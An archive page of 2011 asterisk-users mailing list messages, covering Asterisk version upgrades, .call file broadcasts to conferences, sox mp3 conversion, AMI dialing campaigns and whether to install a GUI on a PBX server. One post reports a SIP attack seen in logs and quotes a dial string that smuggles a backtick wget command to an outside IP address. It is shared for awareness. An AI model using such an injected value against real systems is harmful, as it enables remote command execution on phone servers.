Re: [asterisk-users] broadcast

Hi List, I make a script for .call file and then I started playback on local channel but nothing was hearing at another channles. exten => 1234,1,Answer() exten => 1234,n,System(echo -e "Channel: Channel: local/23@contest-call\\nContext: contest-call\\nExtension: 23\\nPriority: 1" > /tmp/${UNIQUE

Re: [asterisk-users] Asterisk is keep on sending Register request

Hey krishnan, Everything happens for a reason. The most intuitive cause of this issue seems to be network change. Can you confirm that no change in networking happened! because your server is sending register requests but not getting responses. Meanwhile the same server replying to scenarios2 can

Re: [asterisk-users] sox: Failed reading obd-demo.mp3: Do not understand format type: mp3

1- *-bash: obd-demo.ulaw: No such file or directory* // try use absolute file path i.e /usr/src/mymp3.mp3 . I guess that's why its saying no such file or directory. 2- http://lists.digium.com/pipermail/asterisk-users/2006-March/144689.html Go through this thread. 3- When everything fails from sox

Re: [asterisk-users] Asterisk Manager Interface (AMI)

Hey, I think I remember the same post before. previously I heard someone telling to use vicidial or some other thing like that.But I don't think that those are totally AMI based call-generators. What I'd recently done is make a php page which connects to Asterisk's AMI port. I send page request

Re: [asterisk-users] Question about voip.ms service.

I am novice with Asterisk, I had to piece together a lot of bits of info from lots of internet searches to get my very basic setup working. I probably shouldn't say that because it seems like Nat is not a very basic setup with Asterisk. The reason for wanting to stay with SIP is because I have my

Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

On 09/12/11 14:08, Paul Belanger wrote: On 11-09-12 12:07 PM, Danny Nicholas wrote: I think that is your best bet. 1.8.6 unless somebody has a good reason not to. You actually might want to test with 1.8.7.0-rc1, this will fix 2 big issue. A performance regressions and timerfd. -- Paul Bela

[asterisk-users] Asterisk Manager Interface (AMI)

Hi, I have 8 E1 PRI Lines and i have 200 phone numbers and 200 channels (25 channels per PRI). Can someone please help me understand using Asterisk Manager Interface (AMI) available in Asterisk to dial out 200 numbers and run a campaign for 200 numbers concurrently and play a mp3 file ? Please su

Re: [asterisk-users] Unexpected behavior change from Asterisk 1.6.2.14 to Asterisk 1.8.5.0

Alex, Please post the bug report on the bug tracker. Then your fix has a chance to be incorporated in a future release. Thank you, Vladimir On 9/12/2011 1:28 PM, Alex Villací­s Lasso wrote: > El 01/09/11 14:11, Richard Mudgett escribió: >>> In our office, we were running an Asterisk 1.6.2.14

[asterisk-users] sox: Failed reading obd-demo.mp3: Do not understand format type: mp3

Hi, Can someone please comment about the below issue [root@host0040 kaushal]# file obd-demo.mp3 obd-demo.mp3: MPEG ADTS, layer III, v1, 256 kBits, 44.1 kHz, Monaural [root@host0040 kaushal]# sox obd-demo.mp3 -e stat sox: Failed reading obd-demo.mp3: Do not understand format type: mp3 [root@host0

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

Asterisk is a company? This is news to me Sent from my iPhone On Sep 12, 2011, at 5:35 PM, Steve Totaro wrote: > > > On Mon, Sep 12, 2011 at 5:12 PM, Steve Totaro > wrote: > See comments inline. > > On Mon, Sep 12, 2011 at 2:21 PM, linux guy wrote: > I'm about to start building my asteris

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

On Mon, Sep 12, 2011 at 5:12 PM, Steve Totaro wrote: > See comments inline. > > On Mon, Sep 12, 2011 at 2:21 PM, linux guy wrote: > >> I'm about to start building my asterisk server and I can't seem to find >> anything that discusses the pros and cons of installing the OS (Fedora 15) >> as consol

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

See comments inline. On Mon, Sep 12, 2011 at 2:21 PM, linux guy wrote: > I'm about to start building my asterisk server and I can't seem to find > anything that discusses the pros and cons of installing the OS (Fedora 15) > as console only or GUI, ie install KDE as well. > > If you want an OS th

[asterisk-users] new sort of shell attack attempt via SIP?

I have seen this recently in my logs as well [2011-09-10 20:34:33] VERBOSE[14939] logger.c: -- Executing [00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@from-sip-external:1] NoOp("SIP/5060-002c", "Received incoming SIP connection from unknown peer to 00123456789000`wg

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

On Mon, Sep 12, 2011 at 12:21:06PM -0600, linux guy wrote: >FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have >graphical tools. To add to what everyone else has said: if you _really_ need to run a graphical tool on the server, you can always ssh -X into it without havin

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

On Mon, 12 Sep 2011, linux guy wrote: I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. Parts left out don't get broke. Install the absolute minimu

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

Well you are correct - I did not include a discussion on performance impacts including disk I/O etc. It is true that by installing a GUI o/s additional init.d (startup) services will fire.. Additional libraries will be inclusive etc. This is why I say minimal is always better. Also take

Re: [asterisk-users] Unexpected behavior change from Asterisk 1.6.2.14 to Asterisk 1.8.5.0

El 01/09/11 14:11, Richard Mudgett escribió: In our office, we were running an Asterisk 1.6.2.14 machine with DAHDI 2.3.0.1, FreePBX 2.8.1 and an analog DAHDI card with 8 FXO ports. This machine had several DAHDI trunks defined in the FreePBX interface, each one containing a single DAHDI channel.

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

On Mon, Sep 12, 2011 at 12:24 PM, Robert Huddleston wrote: > I personally would never install a GUI o/s… By doing so you always open > yourself up to more security concerns.. Packages / ports / etc. > > ** ** > > Course one might argue – “it’s behind a firewall”…. > > ** ** > > In my profe

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

linux guy wrote: So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? KDE has other associated background services that "may" slow a machine down. If you're looking for a DE, I'd go with something light weight. LXDE is my preferred choice.

Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

I personally would never install a GUI o/s. By doing so you always open yourself up to more security concerns.. Packages / ports / etc. Course one might argue - "it's behind a firewall".. In my professional experience with running numerous ISP and VoITSPs the rule has always been install th

[asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?

I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ?

Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

On 11-09-12 12:07 PM, Danny Nicholas wrote: I think that is your best bet. 1.8.6 unless somebody has a good reason not to. You actually might want to test with 1.8.7.0-rc1, this will fix 2 big issue. A performance regressions and timerfd. -- Paul Belanger Digium, Inc. | Software Developer t

[asterisk-users] Asterisk is keep on sending Register request

Hi, *Scenario 1* I am trying to register a VoIP trunk, which is keep on sending the register request and I am not getting any response from the SIP Server, this I am trying from one network. *Scenario 2* >From another network if I try the same VoIP trunk, the account got registered. One thing he

Re: [asterisk-users] Question about voip.ms service.

Never have had a problem with their IAX service. And ( for now ) a little hedge against the hackers. Since Asterisk is involved, why not use IAX anyway? John Novack naren wrote: I also found this... seems like voip.ms outbound is broken for now! http://pbxinaflash.com/fo

Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

I think that is your best bet. 1.8.6 unless somebody has a good reason not to. -Original Message- From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tarek Sawah Sent: Monday, September 12, 2011 11:00 AM To: Asterisk Users Subject: R

Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

Actually i had to upgrade to 1.6 due to a provider problem with session-timers and RTP data .. then i downgraded again to 1.4. do you suggest that i test 1.8 instead of 1.6? Tarek Sawah Information Technology Adviser Integrated Digital Systems CCNP, MCSE, RHCE, TELECOM USA: +1 386 492

Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

I personally would not bother with 1.6 unless you needed some feature in that branch. 1.4 is the "stable" branch, but it seems that all of the resources are being channeled into 1.8 and 10.0, so 1.6 is a "rabbit hole" you really shouldn't be headed into. -Original Message- From: asterisk-

Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

On Mon, Sep 12, 2011 at 11:19 AM, Tarek Sawah wrote: > i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed > at 100 concurrent calls. > please advise? Nobody will know why your asterisk crashed unless you follow the instructions here: https://wiki.asterisk.org/wiki/disp

[asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8

Hello i am not sure if this has been discussed before.. i have an asterisk 1.4 server that i managed to test it with 500+ concurrent calls and hit 800 concurrent calls with no problem CPU USAGE 90% i wanted to upgrade to 1.6 .. i did and when tested it .. the server crashed at 100 concurrent

Re: [asterisk-users] Question about voip.ms service.

I also found this... seems like voip.ms outbound is broken for now! http://pbxinaflash.com/forum/showthread.php?t=10735 On Sun, Sep 11, 2011 at 10:34 PM, naren wrote: > Hi, > > I am trying to set up my asterisk 1.8.5 with voip.ms. I had no problem > with the incoming, but my outgoing is not w

Re: [asterisk-users] Reporting for Asterisk Call Center

those reports can be easiely extracted from the MYSQL database my friend.. and you can add the Flash Operator Panel if you want to monitor live activities like how many in queue and how many ON CALL .. etc anyway the Elastix is a stand alone distribution you can find more info and downloads a

Re: [asterisk-users] Reporting for Asterisk Call Center

Dear Tariq; Thanks for replying and helping. A reporting for call center that showing the agents utilization, the queues utilization and to have a dashboard to know how many call are currently existed and the queuing. About Elastix: where I can find it? Does it has reporting that is working wi

Re: [asterisk-users] broadcast

Good to know, I think it'll be a feedback score or a poll from members of the conference. So if you use the R option and collect DTMF from members, and an AMI script listening to that particular DTMF event collects all. This way your AMI listener script should be able to tell you at the end of pol

Re: [asterisk-users] broadcast

Hi Sam, You are right. I am looking for the same On Mon, Sep 12, 2011 at 3:01 PM, Sam Govind wrote: > IMHO, I think Bhaati is trying to get feedback from > multiple conference users. See DTMF options in Konference module. > 'R' : enable DTMF relay: DTMF tones generate a manager event > If nei

Re: [asterisk-users] broadcast

IMHO, I think Bhaati is trying to get feedback from multiple conference users. See DTMF options in Konference module. 'R' : enable DTMF relay: DTMF tones generate a manager event If neither 'X' nor 'R' are present, DTMF tones will be forwarded to all members in the conference While some file is

Re: [asterisk-users] broadcast

Hi Ahmed, Konference is also an conferencing application. On Mon, Sep 12, 2011 at 2:12 PM, Gohar Ahmed wrote: > Hhhmmm..I dunt have any experience with module Konference. Maybe anyone > else can help you on that. > > ** ** > > *From:* asterisk-users-boun...@lists.digium.com [mailto: > aste

Re: [asterisk-users] broadcast

Hhhmmm..I dunt have any experience with module Konference. Maybe anyone else can help you on that. From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of virendra bhati Sent: Monday, September 12, 2011 1:28 PM To: Asterisk Users Mailing List

Re: [asterisk-users] broadcast

Hi Ahmed, I did the same thing earlier to test the load of Digium card. But this time I want to play file and want to get some DTMF from all the members of conference. So in this case I need more control into Konference module. But when I use .call files then control will not go longer with all e

Re: [asterisk-users] broadcast

Make a .call file..join one leg to local extension which plays the file and the other leg to conference. The local extension will be like a conference member. From: asterisk-users-boun...@lists.digium.com [mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of virendra bhati Sent: Monday,